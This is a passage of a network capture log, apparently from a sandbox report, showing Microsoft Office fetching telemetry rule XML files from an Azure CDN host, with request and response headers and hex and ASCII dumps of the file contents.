0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:14 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:14 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 9b66de24-701e-0098-7086-36395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191314Z-164f84587bfh9nvdhC1DFWmce0000000014000000000c6dd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:14 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:14 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c6213e4b-c01e-0014-58b2-37a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191314Z-164f84587bfdl84ghC1DFWbbhc00000003dg00000000ar52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:14 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 1d8bef7c-801e-002a-176f-3731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191314Z-164f84587bfs5tz9hC1DFW9a3w00000003ag000000007wwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:14 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:14 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191314Z-16547b76f7fx6rhxhC1DFW76kg0000000q2000000000admv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:14 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:14 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191314Z-1866b5c5fbbwmdwxhC1DFW5fbn00000000tg000000006pt7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:15 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 90e9dbbe-d01e-0028-1506-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191315Z-164f84587bfghdt4hC1DFWu5nn00000002wg00000000pqnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:15 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:15 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: b72e63d2-001e-0079-62d2-3712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191315Z-1866b5c5fbb2t6txhC1DFWa2qc000000037g000000009sfv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:15 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:15 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191315Z-1866b5c5fbbpxkkxhC1DFWhvmc00000003dg00000000h2d7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:15 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:15 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: bd00a7b8-901e-002a-72af-367a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191315Z-16547b76f7fbkfmzhC1DFWm9tw00000002yg000000000uz1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:15 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49947	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:15 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:15 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2afe2566-001e-008d-7eb1-37d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191315Z-16547b76f7ff9zf4hC1DFW2pfc00000000tg00000000bpxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49948	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:15 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:16 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:16 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e065a5a0-f01e-0052-23fc-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191316Z-164f84587bffvwt9hC1DFW2ktw0000000100000000006bsa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:16 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49949	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:16 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:16 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bc51cea9-201e-003f-04b1-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191316Z-164f84587bffvwt9hC1DFW2ktw00000000v000000000mu33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
